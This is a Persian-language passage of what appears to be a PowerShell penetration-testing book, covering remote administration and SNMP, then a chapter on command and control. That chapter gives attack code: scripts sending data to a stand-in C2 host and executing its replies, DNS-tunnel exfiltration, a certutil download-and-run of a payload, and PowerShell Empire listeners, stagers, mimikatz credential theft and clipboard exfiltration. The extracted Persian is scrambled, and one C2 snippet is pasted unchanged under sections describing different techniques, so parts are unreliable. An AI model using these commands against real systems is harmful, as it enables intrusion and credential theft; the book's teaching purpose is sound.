 Set-ItemProperty -Path "HKLM:\Software\Example" -Name "Setting" 
-Value "NewValue" 
} 

انجام    یی کند و توانای راه دور مشخص شده به روز م  انهیدر راکه  را    Setting  یستریرج  د یدستور مقدار کل  نیا

 دهد.ی را از راه دور نشان م ی کربند یپ راتییتغ

Remote event log retrieval 

PowerShell  یهای ورود   یابیباز  ی برا  Event Log   ی از واکش  یانمونه   نجایراه دور موثر است. در ا  یهانیاز ماش  

 راه دور آورده شده است: نیماش  کی از  ستمیس  ر یاخ یدادهایرو

Get-WinEvent -ComputerName <RemoteComputer> -LogName System -
MaxEvents 10 

کند و به  ی م  یابیدر دستگاه راه دور مشخص شده باز  ستم یس   داد یرا از گزارش رو  ر یاخ  ی ورود  10دستور    نیا

 کند.ی و نظارت کمک م یابیبیع
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Remote service management 

PowerShell   از    یمثال   نجایکنند. در ا  تی ریراه دور مد   یهانیرا در ماش   هاسرویس دهد تا  ی اجازه م  رانیبه مد

 از راه دور آورده شده است: سیسرو کیتوقف 

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
StopService -Name <ServiceName> } 

از راه دور    مدیریتی   یانجام کارها  یی کند و توانای مشخص شده را در دستگاه راه دور متوقف م  سیدستور سرو  نیا

 دهد.ی را نشان م

Remote software installation 

 از راه دور استفاده کرد.  نیماش  نیچند  ی نصب نرم افزار بر رو یتوان برای م PowerShellاز 

$computers = "<RemoteComputer1>", "<RemoteComputer2>", 
"<RemoteComputer3>" 
$softwarePath = "\\FileServer\Software\InstallScript.ps1" 
Invoke-Command -ComputerName $computers -ScriptBlock { 
     param($path) 
     Invoke-Expression (Get-Content $path -Raw) 
} -ArgumentList $softwarePath 

و به طور    نمودهسرور نصب  فایل    ک یواقع در    پتیاسکر  ک یرا با استفاده از    یافزارنرم   ،پتیمثال، اسکر  نیدر ا

 . شودی راه دور اجرا م نیماش   نیچند  یهمزمان رو 

Remoting to Azure virtual machines 

PowerShell Remoting  یمجاز یهان یبه ماش امکان اتصال  Azure (VMs)   د کنی منیز فراهم را. 

$cred = Get-Credential 
Enter-PSSession -HostName "<AzureVMName>.cloudapp.net" -Credential 
$cred -UseSSL 

  Azure  ی مجاز  ن یماش   ی جلسه از راه دور امن را برا  ک ی  پت یاسکر  ن یبا استفاده از اعتبار مشخص شده، ا

 کند. ی م جادیا
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Remote network configuration 

 راه دور استفاده کرد.   یهانیشبکه در ماش  ماتیتنظ  ی کربند یپ یتوان برای م PowerShellاز 

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
 New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 
"192.168.1.100" -PrefixLength 24 
} 

 کند.ی م ی کربند یراه دور مشخص شده پ انه یرا در رابط اترنت را د یجد  IPآدرس   کیدستور   نیا

Remote user management 

PowerShell   جاد یاز ا  ی مثال  نجایکنند. در ا  تیریراه دور مد   یهانیدهد تا کاربران را در ماش ی اجازه م  ران یبه مد  

 :از راه دور آورده شده است د یکاربر جد  کی

Invoke-Command -ComputerName <RemoteComputer> -ScriptBlock { 
     New-LocalUser -Name "NewUser" -Password (ConvertTo-SecureString 
"Password123" -AsPlainText) -FullName "New User" 
} 

 کند.ی م جاد یدر دستگاه راه دور مشخص شده ا  د یجد  یمحل یحساب کاربر  کیدستور   نیا

Security considerations 

ماش   یهنگام دسترس  به  دور  راه  از    هان یاز  استفاده  امنPowerShellبا  گرفتن  نظر  است.    اریبس  تی، در  مهم 

ممکن است شامل استفاده از    ن یو مجوز مناسب وجود دارد. ا ت یاحراز هو  یهاسمیکه مکان د یحاصل کن  نانیاطم

 باشد.   یتیامن یهاپروتکل  ریو سا  HTTPSامن،   یهااعتبارنامه

Remote file copy 

 راه دور استفاده کرد.   یهانیها در ماش لیفا  یکپ  یتوان برای م PowerShellاز 
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$sourcePath = "C:\LocalPath\File.txt" 
$destinationPath = "\\RemoteComputer\C$\RemotePath" 
Copy-Item -Path $sourcePath -Destination $destinationPath 

 کند. ی م ی راه دور کپ نیماش  ک یبه  ی محل نیرا از ماش  لیفا  کیدستور   نیا

را در سراسر شبکه    فیتا وظا  سازدی را قادر م  ران ی، مد PowerShellاز راه دور    یدسترس   یهات یقابل  جه،ی در نت

مد  موثر  طور  از    تیریبه  استفاده  با  کنند.  خودکار  و    Invoke-Commandمانند    یی ها  cmdletو 

EnterPSSessionگردش کار خود را ساده    د تواننی م  رانیمد   ،یو راه دور مواز   نهیپس زم  ی، همراه با کارها

 شده را حفظ کنند.  عیتوز یهاستم یکرده و کنترل س 

Using PowerShell for SNMP 

استفاده    SNMP  قیاز طر  ستم یس   کی  تیریمد   یتواند برای م  PowerShell  ،یریو توسعه پذ   یریپذ   قیبا تطب

برا   ک ی  SNMPشود.   پرکاربرد  بخش  ت یریمد   یپروتکل  در  است.  شبکه  بر  نظارت  تعامل    ،یبعد   یهاو  نحوه 

PowerShell   باSNMP کرد.  م یخواه یشبکه را بررس  یهادستگاه تی ریاطلاعات و مد  یابیباز یبرا 

SNMP module installation 

  SNMPمختلف    یهااست. ماژول  یضرور  SNMPماژول    کی، نصب  PowerShellدر    SNMPقبل از تعامل با  

و   هستند  گز   ی کیدر دسترس  ماژول    یهانه یاز  م  SNMPHelperمحبوب  از    د یتوانی است.  استفاده  با  را  آن 

PowerShell Gallery د ینصب کن : 

Install-Module -Name SNMPHelper -Force -AllowClobber 

SNMP agent query 

)مانند رمز عبور( و    SNMP Community Stringهدف،    IP، آدرس  Agent  SNMP  ک یدرخواست    یبرا

  SNMP  یهادهد داده ی به شما امکان م  SNMHelperاز ماژول    Get-SNMP.  د یرا مشخص کن   SNMPنسخه  

 : د یکن یابیرا باز
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Import-Module SNMPHelper 
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString> 
-Version 2 -Oid "1.3.6.1.2.1.1.1" 

  حات ی)توض sysDescr ژهیبه و  ستم،یاطلاعات س   یمشخص شده برا IPدر آدرس   SNMP Agentمثال از   نیا

 کند.ی م  ارسال درخواست  Object Identifier (OID)( ستمیس 

SNMP walking 

SNMP Walking ساختار شیمای شامل پ SNMP از   یعیوس  فیط یابیباز  یبراOID کشف   یبرا نیها است. ا

در دستگاه    SNMP  ساختارکل    قیدستور از طر  نیاست. ا  د یمف  SNMP Agent  ک یتمام اطلاعات موجود در  

 د: نمایی م یابیاز اطلاعات را باز ی عیوس  فیکند و طی مشخص شده عبور م 

# Walk the SNMP tree to get information about the target device 
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString> 
-Version 2 -Oid "1.3.6.1.2.1" 

SNMP settings 

SNMP  یدستگاه دارا  کی در    ماتیتنظ  رییتغ  یتواند برای م  نیهمچن  SNMP    .استفاده شودSet-SNMP   به

 sysContact  یرا برا   ید یمثال مقدار جد   نی. اد یکن  می خاص تنظ  یها   OID  یرا برا  ی ری دهد مقادی شما امکان م

OID کند که معمولاً اطلاعات تماس ی م م یتنظSNMP Agent هد دی را نشان م : 

# Set a new value for the sysContact OID 
Set-SNMP -HostName <TargetIPAddress> -Community <CommunityString> 
-Version 2 -Oid "1.3.6.1.2.1.1.4.0" -ValueType OctetString -Value "New 
Contact Information" 

SNMP trap handling 

PowerShell  تواند یم   نیهمچن  SNMP Trap   مد پ  تیریرا  که  توسط   یناهمزمان  یهاام یکند  که  هستند 

Agent های  SNMP خاص مطلع کنند.   یدادهایرا از رو  ت یریمد  ستمیتا س  شوند ی ارسال م 
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# Register an SNMP trap handler 
Register-SNMPtrap -Handler { 
     param($trap) 
     Write-Host "Received SNMP Trap: $($trap.GenericMessage)" } 
# Wait for traps 
Start-Sleep -Seconds 60 

  ی ها  Trapماند تا  ی منتظر م  هی ثان  60به مدت    پتیثبت شده است و اسکر  Trap Handler  ک یمثال،    نیدر ا

SNMP   در م  افتیرا  را سفارش   د یتوانی کند.  اقدامات خاص  د یکن  یکنترل کننده  اساس    یتا  بر    ی ها  Trapرا 

 انجام دهد. ی افتیدر

SNMP bulk requests 

 ها به طور موثر استفاده کرد. از داده  ی ادیحجم ز یابیباز ی توان برای م SNMPانبوه   یهااز درخواست 

# Perform a bulk SNMP request to get system information 
Get-SNMP -HostName <TargetIPAddress> -Community <CommunityString> 
-Version 2 -Oid "1.3.6.1.2.1.1" -Bulk 

پارامتر    نیا از  برا   SNMPدرخواست    ک یانجام    یبرا  Bulk-مثال  س   یانبوه  م  ستمیاطلاعات  کند.  ی استفاده 

 اطلاعات چندگانه کارآمدتر هستند.  یابی باز ی انبوه برا یهادرخواست

SNMP monitoring with PowerShell 

 یانمونه   نجایاستفاده کرد. در ا  SNMPنظارت مداوم    یبرا  ییهاپت یاسکر  جادیا  یتوان برای م  PowerShellاز  

 در طول زمان آورده شده است:  CPUاز نظارت بر استفاده از 

# Monitor CPU usage using SNMP 
while ($true) { 
 $cpuUsage = Get-SNMP -HostName <TargetIPAddress> -Community 
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.25.3.3.1.2.196608" 
-ErrorAction SilentlyContinue 
 Write-Host "CPU Usage: $($cpuUsage.Value)" 
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 Start-Sleep -Seconds 60 
} 

  نشان را    جینتا  کند و ی م   یاب یبه طور منظم باز  SNMPرا با استفاده از    CPUاطلاعات استفاده از    پتیاسکر  نیا

 دهد.ی م

SNMP and PowerShell integration 

PowerShell   یهای ژگ یها و وماژول   ریتوان با سای را م  PowerShell   را    ستمیجامع س   تیریادغام کرد تا مد

ا در  دهد.  ترک  ی انمونه   نجا یارائه  جوها  SNMP  ب یاز  و  پرس   Common Information Model  ی با 

(CIM)/Windows Management Instrumentation (WMI) :آورده شده است 

# Get SNMP and CIM-based system information 
$snmpInfo = Get-SNMP -HostName <TargetIPAddress> -Community 
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1" 
$cimInfo = Get-CimInstance -ComputerName <TargetIPAddress> -ClassName 
Win32_OperatingSystem 
# Display combined information 
Write-Host "SNMP System Name: $($snmpInfo.Value)" 
Write-Host "CIM OS Version: $($cimInfo.Version)" 

  ی بیترک  جیکند و نتای م  یابیباز  CIM/WMIو    SNMP  یرا با استفاده از پرس و جوها  ستمیمثال اطلاعات س   نیا

 دهد.ی م شیرا نما

SNMP and graphical interfaces 

PowerShell  شرفتهیپ  تیری مد   ی برا  ی کیگراف  یهاتوان با رابط ی را م  SNMP  از    یانمونه   نجایادغام کرد. در ا

 ساده آورده شده است: SNMP Manager کی  جاد یا ی( برا WinForms)  ندوز یو یهااستفاده از فرم 

# Load Windows Forms assembly 
Add-Type -AssemblyName System.Windows.Forms 
# Create a simple SNMP manager form 
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$form = New-Object System.Windows.Forms.Form 
$form.Text = "SNMP Manager" 
$button = New-Object System.Windows.Forms.Button 
$button.Text = "Get System Info" 
$button.Add_Click({ 
     $snmpInfo = Get-SNMP -HostName <TargetIPAddress> -Community 
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1" 
     [System.Windows.Forms.MessageBox]::Show("System Name: $($snmpInfo. 
Value)", "SNMP Result") 
}) 
$form.Controls.Add($button) 
$form.ShowDialog() 

 کند.ی م  جادیا SNMP  ستمیاطلاعات س  یابیباز یبرا  یاساده با دکمه  WinFormsبرنامه  ک یمثال  نیا

SNMP and logging 

 استفاده کرد.   ویآرش  ای  لیو تحل  هی اهداف تجز یبرا  SNMP یهاثبت داده  یتوان برای م PowerShellاز 

# Log SNMP system information to a file 
$snmpInfo = Get-SNMP -HostName <TargetIPAddress> -Community 
<CommunityString> -Version 2 -Oid "1.3.6.1.2.1.1" 
$timestamp = Get-Date -Format "yyyyMMdd-HHmmss" 
$snmpInfo | Out-File -Append -FilePath "SNMP_Log_$timestamp.txt" 

  Timestamp  ک یگزارش، از جمله    ل یفا  ک ی کند و آن را به  ی م  ی ابیرا باز  SNMP  ستمیاطلاعات س   پتیاسکر  نیا

ورود   یبرا م  ی هر  نتی اضافه  در  پذ   ک ی  PowerShell  جه، یکند.  انعطاف  و  قدرتمند    تیریمد   ی برا  ریپلتفرم 

اطلاعات را    توانند ی م   رانیمد   ،مناسب  ی ها  cmdletها و  کند. با ماژول ی فراهم مرا    SNMP  ق یها از طرستمیس 

 یهارا در دستگاه   یمختلف  یت یریمد   فیکنند و وظا  تیر یها را مد Trapکنند،    میرا تنظ  های کربند یکنند، پ  یابیباز

 انجام دهند.   SNMP  یدارا

Summary 

، از جمله استفاده  PowerShellدر درک نحوه عملکرد کنترل از راه دور    یفن   ات یفصل به شما تجرب  نیا

داد.    New-PSSessionو    Enter-PSSession  ،Invoke-Commandمانند    ییها  cmdletاز  

شده از  آموخته   یها ارائه کرد. با درس   PowerShellو ادغام آن با    SNMPاز    ی درک درست  نیهمچن
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  ی برا   DSCیا    Desired State Configurationرا با    PowerShellکنترل از راه دور    د یتوانی م   صل،ف  نیا

در راه دور، مانند مشکلات احراز    جیو حل مشکلات را  ییشناسا  ،یابیب یو ع  نیماش   نی در چند   یکربند یپ  تیریمد 

 انجام دهید.  یکربند یپ ی مشکلات اتصال به شبکه، و خطاها ت،یهو

یا    Management Information Basesساختار    ی مانند بررس   SNMP  یمبان  ی بر رو   ن یفصل همچن  نیا

MIB  سلسله مراتب ،OID یهاداده  شیمایو پ ریو نحوه تفس MIBاتی، عمل SNMP  مانندGET ،GETNEXT  ،

SET و ،TRAP  ها تمرکز کرده است.  و نحوه استفاده از آن 
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 Command and Control - فصل دوازدهم
امندر چشم  تحول  دائماً در حال  قدرت  ، یبریسا  ت یانداز  از  بنا PowerShell استفاده    تست ابزار    ی به سنگ 

 فصل به هنر و علم استفاده از  نیهستند. ا  یواقع  یایدن  ی وهایشده است که به دنبال تکرار سنار  لیتبد   گراننفوذ 

PowerShell ی برا C2  دهیچیفصل چشم انداز پ نی ا. پردازدی م  ذ در طول تست نفو  PowerShell نه یرا در زم  

 کند.ی آشکار م C2  اتیعمل یآن را برا  یهاتیو قابل نموده  یتست نفوذ بررس 

 یهات یفعال  ی را برا  PowerShellتوان  ی که چگونه م   م یکنی و درک م  کرده شروع    یاساس   م یبا کاوش در مفاهما  

Post-Exploitation    ها، بوسیله آن   توانند ی م  گراننفوذتست  را که    مختلفی  یهافصل روش   ن یکرد. ااستفاده 

 یهاک ی تکن  ی گرفته تا اجرا  ی داخل  یهاپت یرها و اسکcmdletکنند، از استفاده از    د یرا تقل   مهاجم  یهاک یتاکت

 هاستم یس   ی دستورات، دستکار  ی اجرا  یهای دگیچیشما را در پ  یعمل  یها. مثال کند یآشکار م   ده، یچیپ  یسازمبهم

 خواهند کرد.   ییراهنما ص یو فرار از تشخ

ا در  که  م  ن یهمانطور  سفر  از    ییهانش یب  م، یکنی فصل  فعال  استفاده  مورد    ت یتقو  ی برا  PowerShellدر 

  ن یمهم است و ا  اریبس  یبری دفاع سا  ت یدشمن در تقو  دگاهیآورد. درک د  د یبه دست خواه  یدفاع  یهای استراتژ

امن متخصصان  دانش  یتیفصل  به  م   یرا  در طول  کند ی مجهز  پوچشم   درنفوذ    تست  تا  بر    ی مبتن  C2  یایانداز 

PowerShell .حرکت کنند 

 فصل آمده است:  نیدر ا یمورد بررس  یموضوعات اصل ر یدر ز

• Post-exploitation, C2, and the cyber kill chain 

• PowerShell components used for C2 

• Using Empire for C2 

• Using Meterpreter and PowerShell for C2 

 

Post-exploitation, C2, and the cyber kill chain 

Post-Exploitation ،  C2    وCyber Kill Chain  امن  یاساس   میمفاه آن   یبریسا  تیدر  هم  هستند.  با  ها 

-Postکند.  ی کمک م  یبریسا  داتیو کاهش تهد   ییدهند که به شما در درک، پاسخگوی م  لیرا تشک  یچارچوب

Exploitation،  بالابردن دسترسی   ،یکه هدف مهاجمان حفظ دسترس   ییاست، جا  هی مرحله پس از نقض اول ،  

  ن ی است. ا  شده  Compromiseدر    ستمیس   کیدر    Lateral Movementاطلاعات و    ی جمع آور

بهره  بدافزارها،  استقرار  آس   یبردارمرحله شامل  از تکن  ها،یریپذ بیاز  استفاده  اعتبار و    یهاک یسرقت 

Living-Off-the-Land است.  ییفرار از شناسا یبرا 
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C2    ی هاستم یتا س   سازدی است که مهاجمان را قادر ممرتبط با آن    یارتباط  یهاسمیو مکان  رساختیزدر واقع یک  

Compromise   شامل    نیکنند. ا  تیریرا از راه دور مد   شدهCommand Server  یارتباط  یها، پروتکل ها ،  

از    Payload Deliveryو    ی رمزگذار مهاجمان  ،  DGAیا    Domain Generation Algorithmsاست. 

Staged Payloads،  Fast Flux   رمزگذار ارتباطات  برا  یو  مح  جادیا  یشده  بر  کنترل  حفظ  در    یهاط یو 

Compromise  کنند.ی استفاده م شده 

Cyber Kill Chain به    یابیتا دست ییاز شناسا  ،یبر یحمله سا کی دهد که مراحل ی ارائه م ک یمدل استراتژ ک ی

م مشخص  را  مهاجم  شامل  ی اهداف  مراحل    ، Reconnaissance ،  Weaponization ،  Deliveryکند. 

Exploitation،  Installation  ،C2    وActions on Objectives    درک به    Cyber Kill Chainاست. 

  یبریسا  داتیو پاسخ به تهد   ییشناسا  ، یریشگ یپ  یهدفمند را برا  یدفاع  ،تا در هر مرحله  ند کی ها کمک مسازمان

ها داده   یجمع آور   ،بالابردن دسترسی  ، یداریپا  جاد یبر ا  د یها باسازمان   ، Post-Exploitationتوسعه دهند. در  

 جامع است.   رت وصله منظم و نظا  ، یقو  یانیها شامل حفاظت نقطه پاتمرکز کنند. دفاع   Lateral Movementو  

  ی و استفاده از بازرس   5یرعاد ینظارت بر رفتار غ  ،یارتباط  یهاو مسدود کردن کانال  ییمستلزم شناسا  C2دفاع  

واکنش به حادثه    یز یآموزش کاربر و برنامه ر  ، ntelligenceIhreat Tمانند    رانهیشگ یاست. اقدامات پ  6ی رمزگذار

خود را با پرداختن کامل   ی بر یسا تین ام ت یوضع توانند ی ها ممهم هستند. سازمان  اریبس Cyber Kill Chainدر 

  ، یآورفن   یهاحلاز راه   یبی شامل ترک  نیکنند. ا  تیتقو  Cyber Kill Chainو    Post-Exploitation،  C2به  

  ی هامؤثر و کاهش چالش  تیهدا  یشده برا   فیتعر  یخوبواکنش به حادثه به   ی استراتژ  کی و    رانهیشگ یاقدامات پ

 است.  یبریسا داتیاز تهد  یناش  دهیچیپ

PowerShell components used for C2 

PowerShell  ،توسط مهاجمان در طول    یانده ی قدرتمند و قابل توسعه، به طور فزا  ی سیزبان برنامه نو  ک یPost-

Exploitation یهاکانال  جاد یا ی برا C2 ردیگی مورد استفاده قرار م  . 

Cmdlets for network communication 

PowerShell  یهاکانال  جادیو ا  نموده   ر یرا امکان پذ   یخارج  یدهد که ارتباط با سرورهای را ارائه م  دستوراتی  

C2  دستور  مثال    ی کند. برای م  ل یرا تسهInvoke-RestMethod  وب    یهاس یتعامل با سرو  یتوان برا ی را م

 :د یتوجه کن ر یاستفاده کرد. به مثال ز

 
5 anomalous behavior 
6 employing encryption inspection 
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$C2Server = "http://c2server.snowcapcyber.com" 
$Payload = "Get-Process | Out-String" 
# Sending data to C2 server 
$response = Invoke-RestMethod -Uri "$C2Server/data" -Method Post -Body 
$Payload 
# Executing received commands 
Invoke-Expression $response 

فرستد و دستورات  یم  C2را به سرور    یمحل  ستمیس   یندها یفرآ  ستیل  PowerShell  پتیمثال، اسکر  نیدر ا

 کند.ی را در پاسخ اجرا م ی افتیدر

Scripting for payload delivery 

استفاده    ی مخرب از منابع خارج  پیلودهای   ی دانلود و اجرا  ی برا  PowerShell  یهاپتیمهاجمان اغلب از اسکر

 را دانلود کرده و آن را اجرا کند: پیلود کیتواند ی م  پتیاسکر کیدهد که چگونه ی نشان م ر یکنند. مثال زی م

$C2Server = "http://c2server.snowcapcyber.com" 
$Payload = "Get-Process | Out-String" 
# Sending data to C2 server 
$response = Invoke-RestMethod -Uri "$C2Server/data" -Method Post -Body 
$Payload 
# Executing received commands 
Invoke-Expression $response 

در    ستمیس   یکند و آن را رو ی م  یواکش  C2مخرب را از سرور    پیلود  کی   PowerShell  پتیاسکر  و،یسنار  نیدر ا

Compromise  کند.یاجرا م  شده 

Encoded payloads to evade detection 

  Base64  ی مثال از رمزگذار  ی کنند. برای م  ی خود را رمزگذار  ی هالودیپمهاجمان اغلب    ، ییفرار از شناسا  یبرا

 : . به مثال زیر توجه کنید مخرب استفاده کرد یهاپتیمبهم کردن اسکر ی توان برای م

$C2Server = "http://c2server.snowcapcyber.com" 
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$Payload = "Get-Process | Out-String" 
# Sending data to C2 server 
$response = Invoke-RestMethod -Uri "$C2Server/data" -Method Post -Body 
$Payload 
# Executing received commands 
Invoke-Expression $response 

شده    ییکند و دستورات رمزگشای م  ییرا رمزگشا  Base64شده با    یرمزگذار  پیلود  کی  پتیمثال، اسکر  نیدر ا

PowerShell کند.ی را اجرا م 

Dynamic code loading with functions 

  PowerShellکنند. توابع    یدر حافظه بارگذار  ی کد را در طول پس از بهره بردار  ایتوانند به صورت پویمهاجمان م

 کند.ی امر فراهم م  نیبه ا ی ابیدست ی برا یابزار

# Define a malicious function 
function Invoke-MaliciousCode { 
     # Malicious actions here 
     Write-Host "Executing malicious code..." 
} 
# Call the malicious function 
Invoke-MaliciousCode 

ا اسکر  نیدر  تعر  یتابع   پتیمورد،  مخرب  اقدامات  با  می م  فی را  که  طول  ی کند  در  نقطه  هر  در  -Postتواند 

Exploitation  شود.  یفراخوان 

DNS tunneling for covert communication 

PowerShell   ی تونل زن  یتوان برا ی را م  DNS   یهادهد کانال ی به مهاجمان اجازه م  این موضوع   استفاده کرد و 

 دهد:ی را نشان م DNS یروش ساده تونل ساز کی  ریکنند. مثال ز  جادیا ی مخف یارتباط

$C2Server = "malicious-dns-server.snowcapcyber.com" 
$DataToSend = "Data to exfiltrate" 
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# Encode and send data via DNS 
$EncodedData = [System.Convert]::ToBase64String([System.Text. 
Encoding]::UTF8.GetBytes($DataToSend)) 
Resolve-DnsName -Name "$EncodedData.$C2Server" 

ارسال اطلاعات    یبرا  DNS  یهاکند و از درخواست ی م  ی ها را رمزگذار داده   PowerShell  پتیمثال، اسکر  نیدر ا

 کند.ی استفاده م C2به سرور 

Living-off-the-land techniques 

PowerShell   م اجازه  مهاجمان  ابزارها ی به  از  تا  و    ی برا  ستم یس   یقانون   یدهد  کنند  استفاده  مخرب  اهداف 

 را به چالش بکشد. ییشناسا

# Use built-in tool (certutil) for downloading payload 
certutil.exe -urlcache -split -f http://malicious-server.com/ 
malicious-payload.exe 
# Execute the downloaded payload 
Start-Process -FilePath "C:\Windows\Temp\malicious-payload.exe" 

  ی و استفاده از ابزارها کند ی استفاده م  پیلود کیدانلود    ی برا ندوزیو certutil یمثال، مهاجم از ابزار داخل نیدر ا

 .دهد ی مخرب نشان م  یهات یفعال ی را برا یقانون

  ار یدر اخت Post-Exploitationدر طول  C2 یساز اده یپ ی جعبه ابزار همه کاره برا کی PowerShell یاجزا

مهم    اریبس  یداتیتهد   نیو کاهش موثر چن  ییشناسا  یمدافعان برا   یها برامولفه   نیدهد. درک ای مهاجمان قرار م

ها سازمان   ،ی قو  یتیاقدامات امن  ی و اجرا  یرفتار  لیتحل  ی ریکارگ، به PowerShell  یهات یاست. با نظارت بر فعال

  Post-Exploitationدر مرحله    PowerShellبر    یمبتن   C2خود را در برابر حملات    یریپذ انعطاف  توانند ی م

 دهند.  شیافزا

Using Empire for C2 

PowerShell Empire   در حوزهچارچوب متن باز    کی  Post-Exploitation   یهات یقابل  لیاست که به دل 

 کرده است.    دایپ ت یقرمز محبوب م یو ت گراننفوذ  ن یهمه کاره خود در ب
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An introduction to PowerShell Empire 

PowerShell Empire   چارچوب    کیPost-Exploitation  ی وهایسنار  یساز  ه ی شب  ی است که برا  APT  ی برا  

  ی و قابل توسعه برا  ماژولارپلتفرم    ک یارائه    ی برا  PowerShellاز    این ابزار  شده است.  ی طراح  یتیمتخصصان امن

 کند.ی استفاده م  یتهاجم یتیامن اتیعمل

Installation and setup 

 : میرا مرور کن PowerShell Empire یانداز مراحل نصب و راه  د یها، اجازه دهمثال   یقبل از بررس 

# Clone the Empire repository from GitHub 
git clone https://github.com/BC-SECURITY/Empire.git 
# Change into the Empire directory 
cd Empire 
# Run the setup script 
./setup/install.sh 

 : د یکن ی را راه انداز Empireپس از نصب، کنسول 

# Launch the Empire console 
./empire 

ا م  Empireکار کنسول    نیبا  م  یی شود، جای باز  اپراتور  ماژول ی که  با  و    یهاتواند  باشد  داشته  تعامل  مختلف 

Listener ی را برا ها C2 کند.  یکربند ی پ 

Listeners for C2 

Empire    ازListener   یهاکانال   جاد یا  یبرا  C2   کی  د ییایکند. بی استفاده م  Listener  ی اصل  HTTP  جاد یا  

 : میکن

# Within the Empire console 
listeners 
uselistener http 
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set Name http_listener 
set Host 0.0.0.0 
set Port 8080 
execute 

دهد ی ( اجازه م شده  Compromise  یهاستمی)س   ها  Agentکند و به  ی م  میرا تنظ  HTTP Listener  کی  نیا

 ارتباط برقرار کنند. Empireتا با سرور 

Generating and delivering payloads 

Empire   که به عنوان    کند یم   د یتول  ییهاپیلودAgent   در    یهاستمیدر سCompromise  کنند ی عمل م   شده .

 کنند.  ی ارتباط برقرار م Empireبا سرور ها  Agent نیا

# Within the Empire console 
usestager windows/launcher_ps 
set Listener http_listener 
generate 

مختلف مانند    یهاروش   قیرا از طر  پیلود   ن یکند. شما ایم   د یتول  PowerShell  یخط  ک ی  پیلود   ک یدستور،    نیا

 .د یدهی م ل یهدف تحو ستمی به س  اکسپلویت ای نگیشیف

Executing commands on compromised systems 

 کند.  ی برقرار م Empireاتصال به سرور   ک ی، شد هدف اجرا  ستمیس  ک ی  یبر رو  پیلودکه  یهنگام

# Within the Empire console 
interact <agent_ID> 
# Execute a command on the agent 
shell whoami 

  شده   Compromise  ستمی( در س یکاربر فعل   یابیمورد، باز  نیفرمان ساده )در ا  ک ی  ینشان دهنده اجرا   نیا

 است. 

Post-exploitation modules for advanced tasks 

Empire  یهااز ماژول  یاشامل مجموعه گسترده Post-Exploitation است.   شرفته یپ اتیعمل ی برا

 :میاستفاده کن هدف  ستمیاز س  ها  Credentialاستخراج  یبرا mimikatzاز ماژول   د ییایب
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# Within the Empire console 
interact <agent_ID> 
# Load the mimikatz module 
usemodule credentials/mimikatz 
# Run mimikatz to extract credentials 
execute 

Exfiltrating data 

Empire   برا  ییهاماژول داده   یرا  س استخراج  از  م  شده  Compromise  یهاستمیها  ماژول  ی ارائه  دهد. 

powershell/clipboard/paste   بورد استفاده کرد:  پیشده در کل  رهیذخ  یهااستخراج داده   یتوان برای را م 

# Within the Empire console 
interact <agent_ID> 
# Load the clipboard exfiltration module 
usemodule powershell/clipboard/paste 
# Run the exfiltration module 
execute 

م  نیا از    دهد ی نشان  استفاده  با  م  ک ی ، چگونه  Empireماژول    ک یکه  مانند    یهاداده   تواند ی اپراتور  حساس، 

 استخراج کند.  هدف ستمیرا از س  بورد پ یکل ی محتوا

Web drive-by attacks 

Empire  دهد که  ی امکان را م  نیبه اپراتورها اWeb drive-by attack  مخرب    یهاپتیرا انجام دهند و از اسکر

  ل یو تحو  Empireوب سرور در    ک ی  ی از راه انداز  یمثال  نجایسرور وب استفاده کنند. در ا  ی شده بر رو   یزبانیم

 هدف آورده شده است: ک یمخرب به  پیلود  کی

# Within the Empire console 
usestager windows/launcher_bat 
set Listener http_listener 
set OutFile /var/www/html/malicious.bat 
generate 

  ی که در صورت دسترس   کند ی م  د یتول  BAT  لی فا  ک یو    کند ی م  یاندازوب سرور را راه   کی  دستورات   نیا

 . کند ی برقرار م Empireاتصال دوباره به سرور  کیو  شده اجرا  پیلود هدف، 
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Evading antivirus detection 

PowerShell Empire  ی مبهم ساز  یهاک یتکن  ق یاز طر  روس یو  ی آنت  صیفرار از تشخ  ی را برا   ییهاتیقابل  

 :داده شده استنشان  PowerShell پتیاسکر کی مبهم کردن  در ادامه کند. ی فراهم م 

# Within the Empire console 
interact <agent_ID> 
# Load the obfuscation module 
usemodule powershell/obfuscate 
# Set the script to obfuscate 
set Script 'Write-Host "Hello, Empire!"' 
execute 

م  نیا نشان  م  کی دهد که چگونه  ی مثال  ماژول مبهم سازی اپراتور  از    ک یمبهم کردن    ی برا   Empire  ی تواند 

 استفاده کند. PowerShellساده  پتیاسکر

Dynamic scripting 

PowerShell Empire  اسکر اجازه م یم   یبانیپشت  ا یپو  پتیاز  اپراتورها  به  و  اسکریکند  تا  به  پت یدهد  را  ها 

 آورده شده است: هدف  ستمیس  ی پاورشل رو یایپو  پتیاسکر ک ی یاز اجرا  یمثال نجا یسرعت اجرا کنند. در ا

# Within the Empire console 
interact <agent_ID> 
# Run a dynamic PowerShell script 
powershell -Command "Write-Host 'Dynamic script executed'" 

م ای اپراتورها  از  رو   یسفارش   PowerShell  یهاپتیاسکر  ی اجرا  ی برا  ی ژگیو   ن یتوانند   یهاستم یس   ی بر 

Compromise  در طول شدهPost-Exploitation  .استفاده کنند 

Defensive measures 

استفاده کنند.    PowerShell Empire  یهات یو کاهش فعال  ییشناسا  ی برا  ی قو  یت یاز اقدامات امن  د یمدافعان با

مهم    ار یبس  یانیمحافظت از نقطه پا  یها، و راه حل Application Whitelistingنظارت بر شبکه،   ی ساز  ادهیپ

تواند ی م  زین  یاجتماع  یس مهند   یهاک یتاکت  صی تشخ  یکاربران برا   یمنظم برا  یتیامن  یهااست. آموزش 

 کند.  ت یدفاع را تقو
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PowerShell Empire   یچارچوب قو  کی  Post-Exploitation  دهد ی اجازه م  یتیاست که به متخصصان امن

  شرفته یپ  داتیخود را در برابر تهد   یهاستم یس   یریکنند و انعطاف پذ   ی ساز  هیرا شب  یواقع  یایدن   یوهایتا سنار

حال  شیآزما در  موثر  Empire  که   ی کنند.  فر  م یت  ی برا  ی ابزار  نفوذ  تست  و  همچنی م  اهمقرمز    از ین  ن یکند، 

کند. درک  ی را برجسته م  یاده یچ یحملات پ  نیمحافظت در برابر چن  ی برا  ی قو  یاقدامات دفاع  یها به اجراسازمان

